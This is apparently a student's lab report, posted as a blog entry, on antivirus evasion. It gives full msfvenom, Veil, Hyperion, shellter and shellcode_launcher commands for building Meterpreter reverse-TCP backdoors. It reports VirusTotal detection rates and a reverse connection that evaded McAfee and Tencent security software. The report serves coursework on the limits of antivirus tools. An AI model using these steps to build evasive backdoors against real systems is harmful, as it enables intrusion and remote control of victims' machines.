20171121王朋伟《免杀原理与实践》实验报告

一、实验名称

  免杀原理与实践

二、实验目的

  通过本部分内容的学习,认识到杀软的局限性,提高在工作生活中对于恶意软件的防范能力。

三、实验内容

  3.1 方法 

    - 正确使用msf编码器 

     - msfvenom生成如jar之类的其他文件 

     - veil 

     - 加壳工具 

     - 使用C + shellcode编程 

     - 使用其他课堂未介绍方法(本实验中我使用了shellter、shellcode_launcher 

  3.2 通过组合应用各种技术实现恶意代码免杀

   (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本 

四、基础知识与实验准备

  4.1 安装Veil-Evasion工具

  其实我在安装veil的时候挺顺利的,虽然失败了一次,但是我在CSDN上找到了秘籍。

  4.2 安装shellter工具,先后输入“sudo apt-get update”和“sudo apt-get install shellter”即可。

  4.3 在完成实验第三部分内容(即使用另一台电脑实测)时,为了实现局域网中一台主机能ping通另一台主机上的虚拟机,需要将这两台主机和虚拟机的防火墙关闭,同时将虚拟机的网络适配器改为桥接模式,具体操作在实验过程记录中展开。

五、实验过程记录

(实验中kali机在使用NAT模式时IP为192.168.217.128,使用桥接模式时IP为192.169.1.12)

课上方法:

  5.1.1 使用msf编码器

  (1)在/usr/share/metasploit-framework/modules/encoders/x86目录下,输入ls指令,可以得到Metasploit平台下32位的编码器。输入“msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.217.128 LPORT=1121 -f exe > wpw-encoded.exe”,使用shikata_ga_nai.rb编码器对后门进行一次编码,其中“-e”参数选择编码器,“-b”参数设置规避字符集,“-f”参数表示生成的文件格式。

 

  由扫描结果可得,即使使用了编码器对恶意代码编码,但是效果并不佳。理由实验指导上也提及了,杀软厂商研究的是编码器本身,同时以Metaspliot的知名度和普及度,这些编码器的特征码,厂商的特征码库里肯定有所收录。 

  (2)输入“msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.217.128 LPORT=1121 -f exe > wpw-encoded2.exe”对后门程序进行20次编码,其中“-i”参数设置编码次数。

 

  使用编码器编码次数的多少也不会带来多少的变化,更起不到免杀的效果。

  5.1.2 msfvenom生成jar文件

  输入“msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.217.128 LPORT=1121 x> wpw-encoded3_java.jar”。

  5.1.3 msfvenom生成php文件

  输入“msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.217.128 LPORT=1121 x> wpw-encoded4_php.php”。


   5.1.4 使用Veil-Evasion工具

  输入“veil”进入Veil-Evasion工具

  输入“use 1”使用Evasion

 

  输入“use 39”,选择payload为ruby/meterpreter/rev_tcp.py

 

  设置好回连IP和端口

 

  输入“generate”生成后门程序,根据提示输入后门程序名:ruby_rev_tcp_1121.rb。

 

 

 

  效果是相当不错,大多数的杀软都无法检测出来。

  5.1.5 使用加壳工具

  使用msfvenom指令生成一个简单的后门程序20171121wpw_backdoor.exe,输入“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.128 LPORT=1121 -f exe > 20171121wpw_backdoor.exe”。

  (1)使用upx压缩壳

  输入“upx 20171121wpw_backdoor.exe -o 20171121wpw_backdoor_upxed.exe”对上述后门加压缩壳。

  (2)使用Hyperion加密壳

  要想使用Hyperion加密壳,需要事先找到 hyperion.exe 的位置/usr/share/windows-resources/hyperion,其次,经过初步尝试之后,系统给出错误提示——权限不够,则需要切换到root用户,获取root权限,输入“su root”切换到超级用户。

  输入“wine hyperion.exe -v 20171121wpw_backdoor.exe 20171121wpw_backdoor_hyed.exe”给后门加加密壳。

 

  第一次使用Hyperion加密壳的时候失败了,需要切换至root用户,获取root权限。

 

 

  5.1.6 使用C + shellcode编程

  这一步使用msfvenom指令生成一个c语言格式的shellcode数组,输入“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.128 LPORT=1121 -f c”。

 (1)新建一个.c文件,在主函数中调用上述生成的shellcode数组。在kali中输入“i686-w64-mingw32-g++ wpw_c_shellcode.c -o wpw_c_shellcode.exe”交叉编译。



   (2)因为上一步使用Linux编译Windows文件比较可疑,所以这一步我使用了我比较熟悉的CodeBlocks来编译该shellcode数组,编译得到的exe文件在/bin/Debug目录下。


在VirusTotal中的扫描结果为30/71。

  (3)因为上一步效果比较好,我又将(2)中得到的exe文件复制回kali中,给它加Hyperion加密壳,但是效果反而变差了,更多的杀软能检测出恶意程序。(我猜增加的这些杀软可能检测的是Hyperion的特征码)


VirusTotal中的扫描结果为46/72。


  在物理机上实测,会被联想电脑管家自动清除。

课堂未详细介绍的方法: 

  5.1.7 使用了shellter

  shellter是一个捆绑工具,使用它同样需要事先获取root权限,一开始我并没有切换到root用户,一直显示无法备份文件,然后各种提示出错。第二,还要准备好putty.exe(Putty是一个Telnet、SSH、rlogin、纯TCP以及串行接口连接软件)。

  但是后门经过shellter与正常程序捆绑后,免杀效果依然不佳,迈克菲扫描后直接将其送走。

  在这里我们输入A,选择自动模式A:自动模式  M:管理者,高级模式  H:帮助选项),输入PE Target,此处需要输入预先准备好的putty02.exe的绝对路径,等待shellter帮我们自动捆绑后门。 

  输入Y,以隐形模式进入,软件会回显7种payload,输入L,payload选择1,设置回连的IP地址192.168.217.128和端口1121,回车后,后门就会被捆绑在putty02.exe中。

 

  放到主机上实测,迈克菲轻松检测出了恶意程序。

 

  5.1.8 使用shellcode_launcher

  shellcode_launcher实际上是一个cpp编写的加载shellcode的程序,和之前用c调用shellcode数组的方法类似。 

  输入“msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.217.128 LPORT=1121 -f raw > 20171121wpw_raw.raw”生成raw格式的恶意代码。

  输入“msfconsole”进入msf控制台,输入“use exploit/multi/handler”后,设置好回连IP和端口,输入“exploit”开始监听。

  在Windows主机上下载好shellcode_launcher-master并解压。在shellcode_launcher.exe所在的目录下运行cmd.exe,输入“shellcode_launcher.exe -i 20171121wpw_raw.raw”,此时返回Linux终端上发现回连成功。

  同时这个文件还能躲过迈克菲和联想电脑管家的双重检测,是实验中免杀效果最好的。

 

 

 

  5.2 通过组合应用各种技术实现恶意代码免杀

  (1)如5.1.6(3)所示,使用msfvenom指令生成c语言格式的shellcode数组,在主函数中调用该数组,使用CodeBlocks进行编译,再将编译得到的exe文件复制回kali中加Hyperion加密壳,但是反而没有不加加密壳的效果好。具体操作见5.1.6(3)。

  (2)如5.1.8所示,使用shellcode_launcher.exe运行raw格式的shellcode,免杀的效果最好,能在迈克菲和联想电脑管家同时开启的情况下实现回连。

  原理:shellcode_launcher实际上是一个cpp编写的加载shellcode的程序,和之前用c调用shellcode数组的方法类似。使用msfvenom指令生成raw格式的恶意代码,在Windows下使用shellcode_launcher.exe运行此raw格式的文件,可以实现后门免杀。具体操作见5.1.8。

 

  5.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  虚拟机在主机1上,主机1的IP为192.168.1.11,主机2的IP为192.168.1.14,使用NAT模式的虚拟机IP为192.168.217.128,使用桥接模式的虚拟机IP为192.168.1.12。

  要想实现主机2回连到另一台主机的虚拟机上,首先,主机2和虚拟机要能相互ping通。一开始我虚拟机上的网络适配器选择的是NAT模式,主机1和虚拟机能相互ping通,主机1和主机2能相互ping通,虚拟机能ping通主机2,但是主机2不能ping通虚拟机。原因是主机2和虚拟机不在同一个网段,主机1和主机2处于一级路由下,但虚拟机处于二级路由下,不在同一网段里。虚拟机能ping通主机2是因为虚拟机使用的网络由主机1的NAT提供,对外通信通过的是主机1的IP。所以要想让主机2能ping通虚拟机,需要虚拟机和物理机一样,处于同一网段中,即让虚拟机和物理机在局域网中处于同一级别。于是将虚拟机的网络适配器改为桥接模式(勾选“复制物理网络连接状态”)。

  由于是第一次选择桥接模式,所以虚拟机此时显示无法连接网络,百度后得知这是没有选择正确的物理无线网卡导致的,需要在虚拟网络编辑器中选择正确的无线网卡,比如我的无线网卡是“Qualcomm Atheros QCA9377 Wireless Network Adapter”。

  完成上述步骤之后,虚拟机和物理机在局域网中处于同一级别,虚拟机的IP地址变为192.168.1.12,此时主机2也能ping通虚拟机了。

  使用5.2的方法,不过在使用msfvenom指令生成raw格式的shellcode时,需要将LHOST由原来的192.168.217.128改为现在的192.168.1.12。在msf控制台下做好相应的设置后,开始监听。在主机2shellcode_launcher.exe所在目录下运行cmd.exe,输入“shellcode_launcher.exe -i 20171121wpw_5.raw”运行raw格式的恶意代码,即可实现回连,同时通过主机2上腾讯电脑管家的检测。


 

 主机2上腾讯电脑管家的版本为12.15.19676.234


六、基础问题回答

  (1)杀软是如何检测出恶意代码的?

  答:1.基于特征码的检测;

    2.启发式恶意软件检测;

    3.基于行为的恶意软件检测。

  (2)免杀是做什么?

  答:免杀是为了针对杀软,防止安插的后门软件被杀软清除。

  (3)免杀的基本方法有哪些?

  答:1.改变特征码,如对可执行文件加壳,用不同的编码器对机器指令编码,或者用其他语言对源代码进行重写再编译;

    2.改变恶意软件的行为,如改变它的通讯方式和操作模式;

    3.将恶意软件和正常应用程序捆绑,起到混淆的作用;

    4.运用社会工程学的方法,诱骗目标关闭杀软;

    5.纯手工打造一个恶意软件。

七、实验总结与体会

  本次实验是在实验二的基础上实现后门的免杀,是对后门更加深入的学习。在本次实验中,我尝试了很多种方法,包括一些老师课堂上没怎么提及的,如使用捆绑软件shellter、使用shellcode_launcher等,但是联想小新Air的防护措施做得很到位,迈克菲加上联想电脑管家,能解决大多数的后门软件,实验中,也只有使用shellcode_launcher的方法,才能奏效。本次实验我遇到了很多问题,最痛苦的还是实现局域网上的一台主机回连到另一台主机的虚拟机上,这包括关闭双方的防火墙,虚拟机的网络设置选择桥接模式(其中需要正确选择本机上的无线网卡)等。不过好在这些问题都被万能的CSDN一点点解决了。

  通过本次实验我了解了杀软对恶意软件的检测机制,认识到了杀软的局限性,提高了在工作生活中对于恶意软件的防范能力。本次实验令我受益匪浅,期待下次的实验能让我对这门课程有更深的理解和感悟。

 

posted on 2020-04-03 22:25  20171121王朋伟  阅读(347)  评论(0编辑  收藏  举报